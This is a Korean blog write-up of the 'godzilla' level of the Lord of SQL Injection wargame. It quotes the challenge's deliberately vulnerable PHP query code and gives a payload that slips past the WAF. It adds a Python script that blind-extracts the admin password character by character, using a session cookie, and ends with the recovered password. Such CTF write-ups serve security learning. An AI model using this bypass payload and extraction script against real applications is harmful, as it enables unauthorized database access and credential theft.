wargame/Lord Of SQL Injection

[LOS] godzilla

LimeLee 2019. 5. 10. 11:04

소스코드 분석

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

1. if($result['id']) echo "<h2>Hello admin</h2>"; > 쿼리 결과로 값이 존재하면 "Hello admin" 을 출력.

 

2. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla"); > admin의 pw값과 요청한 파라미터 pw 값이 동일할 시 클리어. Blind SQL Injection를 할 필요 있음

 

문제 풀이

해당 문제 역시 '<@=1로 방화벽을 우회 가능하다.

 

우회한 문자열 뒤 글자 비교를 통하여 admin의 pw 값을 알아내면 된다.

?id='<@=1 or length(pw)>=8-- -

간단하게 자동화 프로그램을 만들어서 pw를 알아낸다.

 

여기서 출력되는 문자열이 Hello admin이여서 admin의 패스워드 값이라 착각할 수 있는데 prob_godzilla 테이블에는 guest/guest라는 값이 하나 더 존재한다. 유의해서 자동화 프로그램을 제작한다.

import requests

chars = '0123456789abcdef'
cookies = {'PHPSESSID':'45jj4iuhdjbiiamku934ovh6v7'}
temp = ''
res = ''

for i in range(0,8):
    for j in chars:
        r = requests.get("https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?id=%27%3C@=1%20or%20id=%27admin%27%20and%20pw>='"+res+j+"'--%20-",verify=False, cookies=cookies)
        if r.text.find('Hello admin')>1 :
            temp = j
        else :
            res += str(temp)
            break
print(res)

 

 

?pw=a18a6cc5

'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] chupacabra  (0) 2019.07.16
[LOS] cyclops  (0) 2019.05.10
[LOS] death  (0) 2019.05.10
[LOS] cthulhu  (0) 2019.05.10
[LOS] alien  (0) 2018.08.19